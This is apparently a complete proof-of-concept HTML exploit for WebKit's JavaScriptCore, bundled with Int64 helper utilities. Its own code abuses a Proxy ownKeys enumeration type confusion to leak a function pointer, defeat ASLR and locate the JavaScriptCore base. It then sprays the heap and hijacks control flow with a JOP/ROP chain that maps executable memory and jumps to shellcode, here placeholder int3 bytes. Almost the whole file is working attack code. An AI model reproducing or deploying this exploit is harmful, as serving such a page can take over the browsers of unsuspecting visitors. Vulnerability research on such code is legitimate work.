poc.html

<!--- we load all the helper scripts here, because otherwise the heap is very unhappy.. --->
<html>
<head>
<script>
//
// Utility functions.
//
// Copyright (c) 2016 Samuel Groß
//

// Return the hexadecimal representation of the given byte.
function hex(b) {
    return ('0' + b.toString(16)).substr(-2);
}

// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++)
        res.push(hex(bytes[i]));

    return res.join('');
}

// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");

    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);

    return bytes;
}

function hexdump(data) {
    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
        data = Array.from(data);

    var lines = [];
    for (var i = 0; i < data.length; i += 16) {
        var chunk = data.slice(i, i+16);
        var parts = chunk.map(hex);
        if (parts.length > 8)
            parts.splice(8, 0, ' ');
        lines.push(parts.join(' '));
    }

    return lines.join('\n');
}

// Simplified version of the similarly named python module.
var Struct = (function() {
    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
    var buffer      = new ArrayBuffer(8);
    var byteView    = new Uint8Array(buffer);
    var uint32View  = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);

    return {
        pack: function(type, value) {
            var view = type;        // See below
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },

        unpack: function(type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");

            var view = type;        // See below
            byteView.set(bytes);
            return view[0];
        },

        // Available types.
        int8:    byteView,
        int32:   uint32View,
        float64: float64View
    };
})();
</script>
<script>
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//

// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
    // The underlying byte array.
    var bytes = new Uint8Array(8);

    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;

            var bigEndian = unhexlify(v, 8);
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }

    // Return a double whith the same underlying bit representation.
    this.asDouble = function() {
        // Check for NaN
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");

        return Struct.unpack(Struct.float64, bytes);
    };

    // Return a javascript value with the same underlying bit representation.
    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
    // due to double conversion constraints.
    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");

        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);

        return res;
    };

    // Return the underlying bytes of this number as array.
    this.bytes = function() {
        return Array.from(bytes);
    };

    // Return the byte at the given index.
    this.byteAt = function(i) {
        return bytes[i];
    };

    // Return the value of this number as unsigned hex string.
    this.toString = function() {
        return '0x' + hexlify(Array.from(bytes).reverse());
    };

    // Basic arithmetic.
    // These functions assign the result of the computation to their 'this' object.

    // Decorator for Int64 instance operations. Takes care
    // of converting arguments to Int64 instances if required.
    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }

    // this = -n (two's complement)
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);

        return this.assignAdd(this, Int64.One);
    }, 1);

    // this = a + b
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a - b
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a ^ b
    this.assignXor = operation(function sub(a, b) {
        for (var i = 0; i < 8; i++) {
            bytes[i] = a.byteAt(i) ^ b.byteAt(i);
        }
        return this;
    }, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};

// Convenience functions. These allocate a new Int64 to hold the result.

// Return -n (two's complement)
function Neg(n) {
    return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
    return (new Int64()).assignSub(a, b);
}

// Return a ^ b
function Xor(a, b) {
    return (new Int64()).assignXor(a, b);
}

// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);

// That's all the arithmetic we need for exploiting WebKit.. :)
</script>
</head>
<body>
<script>

// our jop is placed as
// index's for an object, as strings,
// so this function convert Int64.toString() into string that
// would be kept in the memory as a valid address ..
function a2h(str){
  var arr1 = [];
  for (var n = 0, l = str.length; n < l; n ++) {
        var hex = Number(str.charCodeAt(n)).toString(16);
        arr1.push(hex);
  }
  return arr1.join('');
}

function tostr(x){
    x = x.replace('0x','');
    let arr = x.split('');
    for ( let y = 0; y < arr.length; y++){
        arr[y] = '0x' + arr[y];
    }
    let ret = '';
    for ( let y = 0; y < arr.length; y++){
        ret+= String.fromCodePoint(arr[y]);    
    }  
    return ret;
}

function to_sc(s){
    s = s.replace('0x','');    
    var idx = s.length / 2;
    while (idx < s.length && s[idx].match(/\s/) == null){
        idx++;}
    var s1 = '0x' + s.substring(0, 8);
    var s2 = '0x' +s.substring(8);
  return tostr(s1)+tostr(s2);
}

/*
console.log(to_sc('0x0500000012124141'));
console.log(a2h(to_sc('0x0500000012124141')));
> ""
> "0500000012124141"
*/

function i64(v) {
    return new Int64(v);
}

function i64d(v) {
    return new Int64(v).asDouble();
}

// payload and shell code
var payload = null;
var shellcode = '';
for (let j = 0; j < 0x10; j++){
    shellcode += to_sc(new Int64('0xcccccccccccccccc').toString());
}

// jsc base address..
var base = null;

// random string..
function r_str(l){
    let random_string = '';
    let random_ascii;
    for(let i = 0; i < l; i++) {
        random_ascii = Math.floor((Math.random() * 25) + 97);
        random_string += String.fromCharCode(random_ascii)
    }
    return random_string
}

// collect garbage
function gc() {
    for (let i = 0; i < 100; i++) {
        new ArrayBuffer(1024 * 1024 * 10);
    }
}

// allocate everything now..
// so we wont gc, after curropting objects
var o;
var o2, o3;
var leaked = null;
function obj_with_size(n){
    let s = 'var obj = {';
    for (let y = 0; y < n; y++){
        s += 'a' + y + ':' + '"a"' + ',';
    }
    s += '}'
    eval(s);
    return obj;
    
}

function obj_with_ab(n){
    let s = 'var obj = {';
    for (let y = 0; y < n; y++){
        s += 'a' + y + ':' + 'new ArrayBuffer(0x80)' + ',';
    }
    s += '}'
    eval(s);
    return obj;
    
}

// to spray the cache with the rop chain ..
function obj_with_o(ooo,n){
  
    var obj = {};
    
    for (let y = 0; y < n; y++){
        let ind = new Int64(y).toString();
        let junk = to_sc(ind);
        obj[payload + junk] = ooo;
    }
    return obj;
    
}

// Same reason..
function opt2(x,y) {
            
    function f(a) {
        return a;
    }
        
    let p = new Proxy(x,{ownKeys:f});
    y.__proto__ = p;
    for (let x in y) {
}}

// magic numbers
o2 = obj_with_size(46800)
o3 = obj_with_size(46800)
o = obj_with_ab(4);
let s2 = [];

// for pwn..
// this is the 'call' primitive
function gogogo(tmp,flag) {
            
    function f(a) {
        if (flag){
            gc();
        }
        return a;
    }
        
    let p = new Proxy(tmp,{ownKeys:f});
    o2.__proto__ = p;
    
    // we need the second object..
    let y = 0;
    
    for (let x in o2) {
    
        if (flag) { 
        
        if (y===1){
        
            //while (1){
                  for ( let i = 0; i < 340; i++ ){
                        let rnds = r_str(8);
                        let t1 = obj_with_o("A".repeat(10),4680);
                        let t2 = obj_with_o("A".repeat(10),4680);
                        
                        t1[rnds] = 1.2;
                        t2[rnds] = 1.2;
                                               
                        
                    for ( let t = 0; t < 18; t++ ){
                        opt2(t1,t2);
                    }
                        s2.push([t1,t2]);                   
                }
                // x is now a fake function,
                // that its vftable pointer points to the rop payload 
                // if we got lucky..               
                x();
                s2 = [];
                gc();
                gc();
                return;
             //}  
             
        }         
            
            let s = typeof x;
                        
            if ( s == 'object' ){
                y=1;
            } else {
                if ( typeof x == 'string' ){}
                else {
                  print('typeof x:' + typeof x);
                  print('leaked memory: '+ x);
                }
            }
        } else { 
          // optimize access ..
          x = 'AAAAAAAA';        
        }
    }
    
}

// computes JOP chain elements
// using base address of JavaScriptCore + offset
function make_rop(baseaddr){
    let jop = [
      baseaddr + i64d(0x82ab5)   , //: nop  ; ret  ;    
      baseaddr + i64d(0xc7f8d), // (pop rdi; ret)
      i64d(0),
      baseaddr   + i64d(0x25879f), // (pop rsi, ret)
      shellcode.length * 2,
      baseaddr + i64d(0x1e4e0a), // (pop rdx; ret)
      i64d(0x7), // (prot_exec + prot_read + prot_write)
      baseaddr + i64d(0x17d096), // (pop rcx; ret)
      i64d(0x1002), // (MAP_ANON, MAP_PRIVATE)
      baseaddr + i64d(0x5ebcb6), // (pop r8; pop rbp; ret)
      i64d(0xffffffff), // (-1)
      i64d(0),
      baseaddr + i64d(0x1ea0b0), // (pop r9; pop rbp; ret)
      i64d(0),
      i64d(0),
      baseaddr + i64d(0xe1ac18), // (mmap)                                   
      baseaddr + i64d(0x152d41), // (push rax; 
      baseaddr + i64d(0xc7f8d), // pop rdi; ret)
      baseaddr + i64d(0x14243b), // (push rsp; 
      baseaddr + i64d(0x8013d), // (pop rax; ret)
      baseaddr + i64d(0x17d096),   //  pop rcx ; ret  ;
      i64d(0x60),                       
      baseaddr + i64d(0x5f00da),  // : add rax, rcx ; ret  ;      
      i64d(0),
      baseaddr + i64d(0x152d41), // (push rax; ret
      baseaddr + i64d(0x25879f),  // pop rsi; ret;
      baseaddr + i64d(0x16b0),  // pop rbp; ret)
      i64d(0),
      baseaddr + i64d(0x1e4e0a), // (pop rdx; ret)
      shellcode.length * 2,
      baseaddr + i64d(0xf799a0), // (memcpy)                           
      baseaddr + i64d(0x2c04), // (jmp rax)
      i64d(0) 
  ];
  
  function numToStr(num) {
    return to_sc(new Int64.fromDouble(num).toString());  
  }


  (function getPayload() {
    payload = "";
    
    // to debug the addition..
    // alert(new Int64.fromDouble(roparr[0]));
    
    // debug ..
    // let trap = base+ i64d(0x1ba680); // int 3 gadget..
    // let scptr = numToStr(trap);    
    //for ( let tt = 0; tt < 0x10; tt++){
    //    payload += scptr;
    //}
    
    for ( let i = 0; i < 0x100; i++ ) {
      payload += numToStr(jop[0]);
    }    
       
    for( let j = 1; j < jop.length; j++) {
      payload += numToStr(jop[j]);
    }
    
    payload += shellcode;
    
    print('[*] done building rop chain');
    return;
    
  })();
}

function _obj_with_o3(ooo,n){
  
    let s = 'var obj = {';
    for (let y = 0; y < n; y++){
        s += 'g'+ y  + ':' + 'ooo' + ',';
    }
    s += '}'
    eval(s);
    return obj;
    
}

function _obj_with_o(ooo,n){
  
    let s = 'var obj = {';
    for (let y = 0; y < n; y++){
        // we need to misalign the buffers for the leak..        
        s += unescape("%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC")  +    unescape("%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC") +   unescape("%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC")  +   unescape("%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC") +unescape("%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC")+ y + ':' + 'ooo' + ',';
    }
    s += '}'
    eval(s);
    return obj;
    
}

/*

to debug things..

print = function(s){
    document.write(s);
    document.write('<br>');
}

*/

function leak(obj_1,obj_2,flag) {
            
    function f(a) {
        if (flag){
        }
        return a;
    }
        
    let p = new Proxy(obj_2,{ownKeys:f});
    obj_1.__proto__ = p;
    let y = 0;
    for (let x in obj_1) {
    
        if (flag) {
           
        if (y===1){
                                   
            y= 0;
             continue;
        }         
            
            let s = typeof x;
                        
            if ( s == 'object' ){
                //alert(0000);
                y=1;
            } else {
                if ( typeof x == 'string' ){}
                else {
                  let addr = Int64.fromDouble(x).toString();              
                  
                  // our leaked pointers would be tagged
                  // with this value ..
                  if (addr.includes('0x17ff000')){ 
                  
                    let leaked_ptr = addr.replace('0x17ff000','0x0000000');                    
                    leaked = leaked_ptr;
                    
                    // debug..
                    // print('[*] Successfully leaked a function pointer.');
                    // print('[*] pointer: '+leaked); 
                    
                    return; 
                                                         
                  }
                  // alert(addr);                
                  
                }
            }
        } else { 
          // optimize access ..
          x = 'AAAAAAAA';        
        }
    }
    
}

let oo1 = _obj_with_o('aaa',2400);
let oo2 = _obj_with_o3(oo1,468);
let oo1_ = _obj_with_o('aaa',2400);
let oo2_ = _obj_with_o3(oo1_,468);
let leaker_obj = _obj_with_o3(oo1_,12);

for (let t = 0; t <200;t++){
    leak(oo2,oo2_,false);
}
   
leak(oo2,leaker_obj,true);
let stage_two = false;
let offset = null;

if (leaked==null){
    // alert('fail');
    // we need to do this gently
    // and reload with the cache still here..
    setTimeout(function(){location.reload(false);},2500); 
}

// these are known function signatures                    
// that we can calculate the offset from the base with.
// if they are not found,
// then reload, because we cannot use this state otherwise..
if (leaked.includes('0f0')){
      // this always works..
      offset = '0xf6b0f0';
} else if (leaked.includes('fc0')) {
      // this too..
      offset = '0x2cd0fc0';
} else {
    // we need to do this gently
    // and reload with the cache still here..
    setTimeout(function(){location.reload(false);},2500);        
}

if (offset!=null){
    alert('bypassed aslr..'); 
    base = new Int64.fromDouble((new Int64(leaked).asDouble())-(new Int64(offset).asDouble()));
    alert('jsc base address: '+base);  
    make_rop(base.asDouble());
    alert('calling stage 2');
    stage_two = true;
        
} else {
    // alert('fail');
    setTimeout(function(){location.reload(false);},2500);
}

if (stage_two){
    while (1){
        for (let t = 0; t <200;t++){
                gogogo(o3,false);
        }
            
        // to shellcode..
        gogogo(o,true);
    }
}
</script>
</body>
</html>